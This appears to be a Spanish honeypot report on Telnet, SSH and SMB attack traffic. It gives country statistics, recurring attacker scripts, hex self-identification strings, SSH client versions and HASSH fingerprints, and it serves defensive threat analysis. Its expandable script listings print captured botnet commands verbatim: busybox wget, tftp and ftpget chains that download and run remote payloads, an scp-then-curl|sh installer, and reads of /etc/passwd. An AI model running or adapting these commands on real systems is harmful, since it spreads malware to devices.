  • Total: 487.937 contactos contra Telnet (puerto 23)
  • Desde: 122 países
  • El que más: 🇵🇰 Pakistán, con 251.057 contactos (el 51%)
  • Quedan fuera del dibujo: 107 países con menos contactos

🇵🇰 PKPK: 251.057 contactos251.057🇨🇳 CNCN: 202.282 contactos202.282🇺🇸 USUS: 9.916 contactos9.916🇷🇺 RURU: 8.667 contactos8.667🇸🇬 SGSG: 4.564 contactos4.564🇺🇦 UAUA: 2.729 contactos2.729🇧🇷 BRBR: 1.061 contactos1.061🇲🇾 MYMY: 812 contactos812🇮🇳 ININ: 699 contactos699🇳🇱 NLNL: 631 contactos631🇦🇷 ARAR: 425 contactos425🇰🇷 KRKR: 391 contactos391🇦🇺 AUAU: 266 contactos266🇩🇪 DEDE: 244 contactos244🇨🇦 CACA: 215 contactos215PK: 251.057 contactosCN: 202.282 contactosUS: 9.916 contactosRU: 8.667 contactosSG: 4.564 contactosUA: 2.729 contactosBR: 1.061 contactosMY: 812 contactosIN: 699 contactosNL: 631 contactosAR: 425 contactosKR: 391 contactosAU: 266 contactosDE: 244 contactosCA: 215 contactos

  • Total: 207.954 contactos contra SMB (puerto 445)
  • Desde: 89 países
  • El que más: 🇨🇳 China, con 32.107 contactos (el 15%)
  • Quedan fuera del dibujo: 74 países con menos contactos

🇨🇳 CNCN: 32.107 contactos32.107🇷🇺 RURU: 31.534 contactos31.534🇮🇳 ININ: 31.243 contactos31.243🇪🇬 EGEG: 16.990 contactos16.990🇿🇦 ZAZA: 15.622 contactos15.622🇻🇳 VNVN: 12.998 contactos12.998🇮🇷 IRIR: 10.817 contactos10.817🇮🇩 IDID: 6.487 contactos6.487🇵🇰 PKPK: 5.989 contactos5.989🇧🇴 BOBO: 5.060 contactos5.060🇨🇴 COCO: 3.261 contactos3.261🇦🇷 ARAR: 3.178 contactos3.178🇸🇦 SASA: 3.140 contactos3.140🇱🇰 LKLK: 3.121 contactos3.121🇱🇧 LBLB: 3.121 contactos3.121CN: 32.107 contactosRU: 31.534 contactosIN: 31.243 contactosEG: 16.990 contactosZA: 15.622 contactosVN: 12.998 contactosIR: 10.817 contactosID: 6.487 contactosPK: 5.989 contactosBO: 5.060 contactosCO: 3.261 contactosAR: 3.178 contactosSA: 3.140 contactosLK: 3.121 contactosLB: 3.121 contactos

  • Total: 107.701 contactos contra SSH (puerto 22)
  • Desde: 142 países
  • El que más: 🇺🇸 Estados Unidos, con 23.039 contactos (el 21%)
  • Quedan fuera del dibujo: 127 países con menos contactos

🇺🇸 USUS: 23.039 contactos23.039🇳🇱 NLNL: 22.815 contactos22.815🇩🇪 DEDE: 8.264 contactos8.264🇻🇳 VNVN: 7.190 contactos7.190🇫🇷 FRFR: 6.185 contactos6.185🇨🇳 CNCN: 4.523 contactos4.523🇮🇩 IDID: 4.218 contactos4.218🇧🇷 BRBR: 3.594 contactos3.594🇷🇺 RURU: 2.768 contactos2.768🇦🇩 ADAD: 2.131 contactos2.131🇮🇳 ININ: 1.777 contactos1.777🇸🇬 SGSG: 1.341 contactos1.341🇧🇩 BDBD: 1.322 contactos1.322🇹🇷 TRTR: 1.234 contactos1.234🇺🇦 UAUA: 1.146 contactos1.146US: 23.039 contactosNL: 22.815 contactosDE: 8.264 contactosVN: 7.190 contactosFR: 6.185 contactosCN: 4.523 contactosID: 4.218 contactosBR: 3.594 contactosRU: 2.768 contactosAD: 2.131 contactosIN: 1.777 contactosSG: 1.341 contactosBD: 1.322 contactosTR: 1.234 contactosUA: 1.146 contactos

  • Total: 915 contactos contra MSSQL (puerto 1433)
  • Desde: 50 países
  • El que más: 🇺🇸 Estados Unidos, con 259 contactos (el 28%)
  • Quedan fuera del dibujo: 35 países con menos contactos

🇺🇸 USUS: 259 contactos259🇨🇳 CNCN: 169 contactos169🇮🇳 ININ: 96 contactos96🇧🇷 BRBR: 62 contactos62🇬🇧 GBGB: 33 contactos33🇹🇼 TWTW: 24 contactos24🇨🇦 CACA: 24 contactos24🇷🇺 RURU: 21 contactos21🇺🇦 UAUA: 20 contactos20🇨🇿 CZCZ: 20 contactos20🇮🇩 IDID: 13 contactos13🇹🇭 THTH: 13 contactos13🇮🇷 IRIR: 12 contactos12🇩🇪 DEDE: 12 contactos12🇹🇷 TRTR: 12 contactos12US: 259 contactosCN: 169 contactosIN: 96 contactosBR: 62 contactosGB: 33 contactosTW: 24 contactosCA: 24 contactosRU: 21 contactosUA: 20 contactosCZ: 20 contactosID: 13 contactosTH: 13 contactosIR: 12 contactosDE: 12 contactosTR: 12 contactos

  • Total: 755 contactos contra RPC (puerto 135)
  • Desde: 19 países
  • El que más: 🇺🇸 Estados Unidos, con 527 contactos (el 70%)
  • Quedan fuera del dibujo: 4 países con menos contactos

🇺🇸 USUS: 527 contactos527🇬🇧 GBGB: 62 contactos62🇧🇷 BRBR: 54 contactos54🇩🇪 DEDE: 47 contactos47🇭🇰 HKHK: 20 contactos20🇨🇦 CACA: 12 contactos12🇫🇷 FRFR: 5 contactos5🇨🇿 CZCZ: 4 contactos4🇵🇱 PLPL: 4 contactos4🇳🇱 NLNL: 2 contactos2🇱🇹 LTLT: 2 contactos2🇮🇷 IRIR: 2 contactos2🇰🇷 KRKR: 2 contactos2🇨🇭 CHCH: 1 contactos1🇷🇴 RORO: 1 contactos1US: 527 contactosGB: 62 contactosBR: 54 contactosDE: 47 contactosHK: 20 contactosCA: 12 contactosFR: 5 contactosCZ: 4 contactosPL: 4 contactosNL: 2 contactosLT: 2 contactosIR: 2 contactosKR: 2 contactosCH: 1 contactosRO: 1 contactos

3. Actores: los guiones que se repiten

Un guion es el conjunto de órdenes ya normalizadas (URLs, IPs, hexadecimales y números largos sustituidos) que se repite entre sesiones. Que dos IPs compartan guion dice que usan la misma herramienta; no dice que sean el mismo actor.

GuionIPsSesionesÓrdenesÓrdenes por IPPrimera vezÚltima vezPaíses (IPs)
e56f5556b76868752.596382026-09-01 08:512026-09-11 08:27🇺🇦 31 🇮🇹 7 🇵🇱 4 🇫🇷 3
96b7a2c9470358592.351402026-08-23 20:302026-09-10 18:16🇨🇳 27 🇺🇦 15 🇮🇷 4 🇷🇺 3
2d50aaadc23341424212026-09-06 16:552026-09-11 08:22🇺🇸 8 🇮🇳 5 🇮🇩 4 🇷🇺 3
7ab552f01de935717122026-08-22 14:582026-09-09 11:42🇳🇱 22 🇺🇸 7 🇫🇷 6
4dd379d2cd853435350102026-08-22 11:542026-09-10 14:50🇮🇹 14 🇮🇳 5 🇵🇰 2 🇧🇷 2
1b66b7c0ce683336828252026-08-24 01:232026-09-11 04:50🇺🇸 7 🇨🇳 5 🇸🇬 3 🇭🇰 3
2e66008255ae3334476142026-08-22 12:122026-09-01 12:27🇨🇳 9 🇮🇹 4 🇺🇦 3 🇷🇴 2
58fdeea7f78d2122872412026-08-26 21:342026-09-10 13:56🇨🇳 10 🇵🇰 2 🇹🇼 2 🇧🇷 1
5e41186080951767938552026-08-22 11:392026-08-25 07:29🇨🇳 17
a907ec7650e413433.7412872026-08-28 20:562026-09-05 22:26🇳🇱 9 🇦🇩 4
c3b73fff024c12282.6882242026-08-23 22:372026-08-28 07:39🇳🇱 9 🇦🇩 3
d76a6da1beb01214477392026-08-23 17:242026-09-09 14:19🇷🇺 3 🇹🇷 1 🇵🇱 1 🇦🇲 1
feef62c9a2bc1212120102026-08-22 20:332026-09-10 21:30🇨🇳 3 🇸🇪 3 🇰🇷 2 🇳🇿 1
6c56870dc6961121210192026-09-07 19:482026-09-10 13:18🇳🇱 8 🇦🇩 3
2cae85b8b53576585.2647522026-08-22 15:222026-09-11 02:29🇺🇸 7
be50f2298a5072462.2143162026-08-22 23:222026-09-10 15:04🇺🇸 3 🇸🇬 2 🇲🇾 1 🇿🇦 1
096b254d18b777287412026-08-22 12:432026-08-23 04:01🇿🇦 1 🇦🇷 1 🇷🇺 1 🇺🇦 1
6fa4c8ac58e777712026-08-28 07:492026-09-09 22:51🇨🇳 6 🇺🇸 1
b861115bf0816101.4602432026-09-06 04:482026-09-07 05:42🇳🇱 4 🇦🇩 2
ddbb240116206684142026-08-22 14:272026-09-08 12:54🇨🇳 3 🇷🇺 1 🇺🇦 1 🇿🇦 1
28ba533b0f3c66612026-08-22 18:112026-09-05 21:28🇨🇳 2 🇭🇰 1 🇮🇳 1 🇸🇬 1
93c3ba182a9266144242026-08-23 15:502026-09-10 03:31🇰🇷 5 🇲🇴 1
518bfd30df9f588612.4042.4802026-08-28 09:062026-09-11 08:50🇨🇳 5
1baa2831141a56268.7641.7522026-09-03 19:012026-09-06 00:45🇵🇰 5
12d460cca6e9562442026-08-27 10:202026-09-10 14:21🇷🇸 1 🇲🇽 1 🇧🇷 1 🇺🇦 1

3.1  Los que más aprietan

Los mismos guiones, ordenados por la media de órdenes por IP en vez de por el número de IPs que los corren. Un guion con pocas IPs y muchísimas órdenes por cada una suele ser alguien que vuelve una y otra vez, no un barrido.

GuionIPsSesionesÓrdenesÓrdenes por IPPaíses (IPs)
7b8032c80bc612.65837.21237.212🇵🇰 1
b5504015eca511.13815.93215.932🇵🇰 1
99aae771f81813014.52014.520🇵🇰 1
aeed5d9396f8161511.68511.685🇵🇰 1
44cf8d62e54416469.0449.044🇵🇰 1
f8716cb13aa811768.5878.587🇳🇱 1
cfb896d3b17712935.5675.567🇵🇰 1
c371ec756b3312574.6264.626🇨🇳 1
f1085c34927412073.9333.933🇵🇰 1
4b9aa7a1d12d12063.9143.914🇨🇳 1

3.2  Cómo se llaman a sí mismas

Muchas órdenes llevan una tira del tipo echo -e "\x4f\x56\x46": la herramienta escribe una palabra byte a byte y espera leerla de vuelta, que es como comprueba que al otro lado hay un shell de verdad y no un dispositivo que ignora lo que recibe. En hexadecimal es ruido; en claro es el nombre que la variante se pone a sí misma o la señal con la que se reconoce.

La orden se enseña tal como llegó en el desplegable de más abajo: esto es una lectura de esa prueba, no una sustitución. Solo se descifran las tiras que salen enteras en texto imprimible: con media palabra legible no se puede leer nada sin adivinar.

En claroTal como va en la ordenVecesIPs
OVFUGZ\x4f\x56\x46\x55\x47\x5a5.3161
kami\x6b\x61\x6d\x694.0481
LLVFUMFN\x4c\x4c\x56\x46\x55\x4d\x46\x4e2.6581
UHDQTY\x55\x48\x44\x51\x54\x592.2871
RKZKAT\x52\x4b\x5a\x4b\x41\x541.9964
QFHBXD\x51\x46\x48\x42\x58\x441.7785
NBOWJZ\x4e\x42\x4f\x57\x4a\x5a1.5071
GAYFGT\x47\x41\x59\x46\x47\x541.355159
XZHYXW\x58\x5a\x48\x59\x58\x571.3501
MCRWVR\x4d\x43\x52\x57\x56\x521.3385
AMUGLF\x41\x4d\x55\x47\x4c\x461.2263
ZPMKYDYL\x5a\x50\x4d\x4b\x59\x44\x59\x4c1.1431
PIGOCTCQ\x50\x49\x47\x4f\x43\x54\x43\x519984
LUCPAWVC\x4c\x55\x43\x50\x41\x57\x56\x438895
GAY\x47\x41\x598801
EDENXS\x45\x44\x45\x4e\x58\x538802
GYIYOA\x47\x59\x49\x59\x4f\x418122
OCLBPA\x4f\x43\x4c\x42\x50\x418072
XPFAOH\x58\x50\x46\x41\x4f\x488072
PRMYEB\x50\x52\x4d\x59\x45\x427921
FEZOYC\x46\x45\x5a\x4f\x59\x437586
ULBMGNQG\x55\x4c\x42\x4d\x47\x4e\x51\x477381
FPQWBA\x46\x50\x51\x57\x42\x417181
HTDLTMFI\x48\x54\x44\x4c\x54\x4d\x46\x496751
HAFJEGXU\x48\x41\x46\x4a\x45\x47\x58\x556695

3.3  Con qué se conectan

La versión del cliente es la cadena que manda el programa del atacante nada más abrir la conexión, antes de probar ninguna credencial. No la elige quien ataca: la pone su herramienta, y por eso dice más de qué está corriendo que las órdenes que teclee después.

ClienteSesionesIPs distintas
SSH-2.0-Go94.5501.735
SSH-2.0-AsyncSSH_2.1.02.08522
SSH-2.0-libssh_0.12.01.52550
SSH-2.0-OpenSSH_7.4794569
SSH-2.0-AsyncSSH_2.21.14561
SSH-2.0-libssh_0.10.51394
SSH-2.0-ssh2js1.17.01001
SSH-2.0-ZGrab ZGrab SSH Survey7364
SSH-2.0-libssh2_1.11.16860
SSH-2.0-9.66 FlowSsh: Bitvise SSH Client (Tun…621
SSH-2.0-Nmap-SSH2-Hostkey549
SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3443
GET / HTTP/1.13937
SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u4242
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.82121
SSH-2.0-OpenSSH213
SSH-2.0-OPENSSH_7.9196
MGLNDD_[IP VPS]_221919
SSH-2.0-Fingerprintx-SSH21717
SSH-2.0-paramiko_2.11.0166
SSH-2.0-OpenSSH_10.51514
SSH-2.0-FlowIQ_1.01412
SSH-2.0-perlssh1212
SSH-2.0-Nmap_SSH2_Enum_Algos1212
SSH-2.0-libssh2_1.10.01010

El HASSH es el resumen de los algoritmos que el cliente ofrece al negociar la conexión (cifrados, intercambio de claves, MAC y compresión) y del orden en que los ofrece. Lo calcula Cowrie. Dos IPs con el mismo HASSH corren el mismo programa aunque tecleen cosas distintas: esa huella no se cambia sin recompilar o sin cambiar de librería, y el atacante no la ve.

HASSHSesionesIPs distintasSe presenta como
0a07365cc01fa9fc82608ba4019af49927.53749SSH-2.0-Go
16443846184eafde36765c9bab2f439714.099205SSH-2.0-Go
98f63c4d9c87edbd97ed4747fa03101912.97334SSH-2.0-Go
3e927d21d5e38eb98fdcbc772e46f31112.59169SSH-2.0-Go
bfd3c5d5d43b99449fd25acd82d2c3d812.119951SSH-2.0-Go
2ec37a7cc8daf20b10e1ad6221061ca55.40716SSH-2.0-Go
06ff3615a51b2af343ec22abc8e30bbc4.336581SSH-2.0-Go
3c86b175b3d676028ff08e21fa21a7153.453774SSH-2.0-Go
fda360b1b4f4d3455cb75c6e7edb1d112.07022SSH-2.0-AsyncSSH_2.1.0
a591c4ddccc960a2da8099958270fc921.52550SSH-2.0-libssh_0.12.0
acaa53e0a7d7ac7d1255103f37901306787564SSH-2.0-OpenSSH_7.4
98ddc5604ef6a1006a2b49a58759fbe650530SSH-2.0-Go
6262add29fb5b42d27a3463e66d700d94561SSH-2.0-AsyncSSH_2.21.1
eff4c24daffc8532c160e86e5f006e533981SSH-2.0-Go
4e066189c3bbeec38c99b1855113733a20827SSH-2.0-Fingerprintx-SSH2 · SSH-2.0-Go
1f2f2f9b0a736952f743e5490c64c98a1394SSH-2.0-libssh_0.10.5
594c57870d0ec290ad3f328d5116eb18128118SSH-2.0-Go
f1e5e9d24e5e345e8745613bde22d5321201SSH-2.0-Go
1ecd42383b6cd16084a022b0286d41ce1001SSH-2.0-ssh2js1.17.0
bf7dbf67fa9b26ee9f9deb99c49320ba929SSH-2.0-Go
084386fa7ae5039bcf6f07298a05a2278466SSH-2.0-Go
e54ef3ec27fe1fea7ab64d3fa05359fd7237SSH-2.0-Go · SSH-2.0-OpenSSH_10.1 · SSH-2.0…
dd9bcf093c355da7000132131cb36fd07263SSH-2.0-ZGrab ZGrab SSH Survey
dbeef6e65d6549fb62b7e6423f9a4126621SSH-2.0-9.66 FlowSsh: Bitvise SSH Client (T…
e788c657d1a22971d5026526ffd2e9185611SSH-2.0-Nmap-SSH2-Hostkey · SSH-2.0-OpenSSH…

3.4  Quién corre cada guion

e56f5556b768 : 68 IPs, 75 sesiones, 2.596 órdenes · visto del 2026-09-01 08:51 al 2026-09-11 08:27

IPPaísSesiones con este guionEstado
<IP-IT-001>🇮🇹 Italia3denunciada
<IP-UA-001>🇺🇦 Ucrania2denunciada
<IP-MT-001>🇲🇹 Malta2denunciada
<IP-PT-001>🇵🇹 Portugal2denunciada
<IP-UA-002>🇺🇦 Ucrania2denunciada
<IP-UA-003>🇺🇦 Ucrania2denunciada
<IP-CN-001>🇨🇳 China1denunciada
<IP-CN-002>🇨🇳 China1denunciada
<IP-UA-004>🇺🇦 Ucrania1denunciada
<IP-UA-005>🇺🇦 Ucrania1denunciada
<IP-UA-006>🇺🇦 Ucrania1denunciada
<IP-PR-001>🇵🇷 Puerto Rico1denunciada
<IP-PL-001>🇵🇱 Polonia1denunciada
<IP-UA-007>🇺🇦 Ucrania1denunciada
<IP-ZA-001>🇿🇦 Sudáfrica1denunciada

(y 53 IPs más)

Ver las 34 órdenes de e56f5556b768
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-

96b7a2c94703 : 58 IPs, 59 sesiones, 2.351 órdenes · visto del 2026-08-23 20:30 al 2026-09-10 18:16

IPPaísSesiones con este guionEstado
<IP-UA-008>🇺🇦 Ucrania2denunciada
<IP-CN-003>🇨🇳 China1denunciada
<IP-CN-004>🇨🇳 China1denunciada
<IP-CN-005>🇨🇳 China1denunciada
<IP-CN-006>🇨🇳 China1denunciada
<IP-CN-007>🇨🇳 China1denunciada
<IP-CN-008>🇨🇳 China1denunciada
<IP-CN-009>🇨🇳 China1denunciada
<IP-CN-010>🇨🇳 China1denunciada
<IP-CN-011>🇨🇳 China1denunciada
<IP-CN-012>🇨🇳 China1denunciada
<IP-CN-013>🇨🇳 China1denunciada
<IP-CN-014>🇨🇳 China1denunciada
<IP-CN-015>🇨🇳 China1denunciada
<IP-CN-016>🇨🇳 China1denunciada

(y 43 IPs más)

Ver las 39 órdenes de 96b7a2c94703
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(ftpget <IP> f ftpget || busybox ftpget <IP> f ftpget) > f; chmod 777 f; ./f; rm -rf f
ftpget <IP> f ftpget
echo -e "\x47\x41\x59\x46\x47\x54"

2d50aaadc233 : 41 IPs, 42 sesiones, 42 órdenes · visto del 2026-09-06 16:55 al 2026-09-11 08:22

IPPaísSesiones con este guionEstado
<IP-RO-001>🇷🇴 Rumanía2denunciada
<IP-PL-002>🇵🇱 Polonia1denunciada
<IP-CA-001>🇨🇦 Canadá1denunciada
<IP-US-001>🇺🇸 Estados Unidos1denunciada
<IP-US-002>🇺🇸 Estados Unidos1denunciada
<IP-ID-001>🇮🇩 Indonesia1denunciada
<IP-IN-001>🇮🇳 India1denunciada
<IP-PL-003>🇵🇱 Polonia1denunciada
<IP-HK-001>🇭🇰 Hong Kong1denunciada
<IP-IN-002>🇮🇳 India1denunciada
<IP-IN-003>🇮🇳 India1denunciada
<IP-US-003>🇺🇸 Estados Unidos1denunciada
<IP-TW-001>🇹🇼 Taiwán1denunciada
<IP-KG-001>🇰🇬 Kirguistán1denunciada
<IP-BR-001>🇧🇷 Brasil1denunciada

(y 26 IPs más)

Ver la orden de 2d50aaadc233
uname -a 2>/dev/null

7ab552f01de9 : 35 IPs, 71 sesiones, 71 órdenes · visto del 2026-08-22 14:58 al 2026-09-09 11:42

IPPaísSesiones con este guionEstado
<IP-NL-001>🇳🇱 Países Bajos4denunciada
<IP-US-004>🇺🇸 Estados Unidos4denunciada
<IP-NL-002>🇳🇱 Países Bajos2denunciada
<IP-NL-003>🇳🇱 Países Bajos2denunciada
<IP-NL-004>🇳🇱 Países Bajos2denunciada
<IP-NL-005>🇳🇱 Países Bajos2denunciada
<IP-NL-006>🇳🇱 Países Bajos2denunciada
<IP-NL-007>🇳🇱 Países Bajos2denunciada
<IP-NL-008>🇳🇱 Países Bajos2denunciada
<IP-NL-009>🇳🇱 Países Bajos2denunciada
<IP-NL-010>🇳🇱 Países Bajos2denunciada
<IP-NL-011>🇳🇱 Países Bajos2denunciada
<IP-NL-012>🇳🇱 Países Bajos2denunciada
<IP-NL-013>🇳🇱 Países Bajos2denunciada
<IP-NL-014>🇳🇱 Países Bajos2denunciada

(y 20 IPs más)

Ver la orden de 7ab552f01de9
uname -s -v -n -r -m

4dd379d2cd85 : 34 IPs, 35 sesiones, 350 órdenes · visto del 2026-08-22 11:54 al 2026-09-10 14:50

IPPaísSesiones con este guionEstado
<IP-IT-002>🇮🇹 Italia2denunciada
<IP-PK-001>🇵🇰 Pakistán1denunciada
<IP-IN-004>🇮🇳 India1denunciada
<IP-GE-001>🇬🇪 Georgia1denunciada
<IP-TR-001>🇹🇷 Turquía1denunciada
<IP-IT-003>🇮🇹 Italia1denunciada
<IP-BR-002>🇧🇷 Brasil1denunciada
<IP-AR-001>🇦🇷 Argentina1denunciada
<IP-KR-001>🇰🇷 Corea del Sur1denunciada
<IP-PK-002>🇵🇰 Pakistán1denunciada
<IP-IN-005>🇮🇳 India1denunciada
<IP-IT-004>🇮🇹 Italia1denunciada
<IP-IT-005>🇮🇹 Italia1denunciada
<IP-UA-009>🇺🇦 Ucrania1denunciada
<IP-IT-006>🇮🇹 Italia1denunciada

(y 19 IPs más)

Ver las 10 órdenes de 4dd379d2cd85
sh
shell
shell
enable
system
system
ping; sh
/bin/busybox STC
/bin/busybox hostname TOASTER
/bin/busybox wget <URL> -O- | sh;rm -rf tftp.sh;/bin/busybox tftp <IP> -g -r tftp.sh -l tftp.sh;chmod 777 tftp.sh && sh tftp.sh;rm -rf ftp.sh;/bin/busybox ftpget <IP> -P <N> ftp.sh ftp.sh;chmod 777 ftp.sh && sh ftp.sh;

1b66b7c0ce68 : 33 IPs, 36 sesiones, 828 órdenes · visto del 2026-08-24 01:23 al 2026-09-11 04:50

IPPaísSesiones con este guionEstado
<IP-SG-001>🇸🇬 Singapur2denunciada
<IP-RU-001>🇷🇺 Rusia2denunciada
<IP-SA-001>🇸🇦 Arabia Saudí2denunciada
<IP-HK-002>🇭🇰 Hong Kong1denunciada
<IP-CN-017>🇨🇳 China1denunciada
<IP-US-005>🇺🇸 Estados Unidos1denunciada
<IP-CN-018>🇨🇳 China1denunciada
<IP-SG-002>🇸🇬 Singapur1denunciada
<IP-CN-019>🇨🇳 China1denunciada
<IP-VN-001>🇻🇳 Vietnam1denunciada
<IP-KR-002>🇰🇷 Corea del Sur1denunciada
<IP-ET-001>🇪🇹 Etiopía1denunciada
<IP-HK-003>🇭🇰 Hong Kong1denunciada
<IP-US-006>🇺🇸 Estados Unidos1denunciada
<IP-US-007>🇺🇸 Estados Unidos1denunciada

(y 18 IPs más)

Ver las 23 órdenes de 1b66b7c0ce68
id
cat /etc/passwd
echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
enable
system
system
shell
shell
sh
bash
cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
<CLAVE PRIVADA OMITIDA>
-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
-----END OPENSSH PRIVATE KEY----- > key.ppk; echo StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@<IP>:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- <URL> || curl -sk <URL> | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"

2e66008255ae : 33 IPs, 34 sesiones, 476 órdenes · visto del 2026-08-22 12:12 al 2026-09-01 12:27

IPPaísSesiones con este guionEstado
<IP-ES-001>🇪🇸 España2denunciada
<IP-IT-007>🇮🇹 Italia1denunciada
<IP-CN-020>🇨🇳 China1denunciada
<IP-UA-010>🇺🇦 Ucrania1denunciada
<IP-CN-021>🇨🇳 China1denunciada
<IP-RS-001>🇷🇸 Serbia1denunciada
<IP-CN-022>🇨🇳 China1denunciada
<IP-CN-023>🇨🇳 China1denunciada
<IP-CN-024>🇨🇳 China1denunciada
<IP-PK-003>🇵🇰 Pakistán1denunciada
<IP-RO-002>🇷🇴 Rumanía1denunciada
<IP-VN-002>🇻🇳 Vietnam1denunciada
<IP-UA-011>🇺🇦 Ucrania1denunciada
<IP-CN-025>🇨🇳 China1denunciada
<IP-IT-008>🇮🇹 Italia1denunciada

(y 18 IPs más)

Ver las 14 órdenes de 2e66008255ae
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"

58fdeea7f78d : 21 IPs, 22 sesiones, 872 órdenes · visto del 2026-08-26 21:34 al 2026-09-10 13:56

IPPaísSesiones con este guionEstado
<IP-PK-004>🇵🇰 Pakistán2denunciada
<IP-BR-003>🇧🇷 Brasil1denunciada
<IP-CN-026>🇨🇳 China1denunciada
<IP-PK-005>🇵🇰 Pakistán1denunciada
<IP-CN-027>🇨🇳 China1denunciada
<IP-MK-001>🇲🇰 Macedonia del Norte1denunciada
<IP-CO-001>🇨🇴 Colombia1denunciada
<IP-TW-002>🇹🇼 Taiwán1denunciada
<IP-CN-028>🇨🇳 China1denunciada
<IP-CN-029>🇨🇳 China1denunciada
<IP-CN-030>🇨🇳 China1denunciada
<IP-IL-001>🇮🇱 Israel1denunciada
<IP-RU-002>🇷🇺 Rusia1denunciada
<IP-CN-031>🇨🇳 China1denunciada
<IP-TW-003>🇹🇼 Taiwán1denunciada

(y 6 IPs más)

Ver las 40 primeras de 42 órdenes de 58fdeea7f78d
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
busybox
cd /proc && cat self/cmdline
/bin/busybox
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
/bin/busybox
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
/bin/busybox
/bin/busybox
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
... y 2 órdenes más

5e4118608095 : 17 IPs, 67 sesiones, 938 órdenes · visto del 2026-08-22 11:39 al 2026-08-25 07:29

IPPaísSesiones con este guionEstado
<IP-CN-032>🇨🇳 China11denunciada
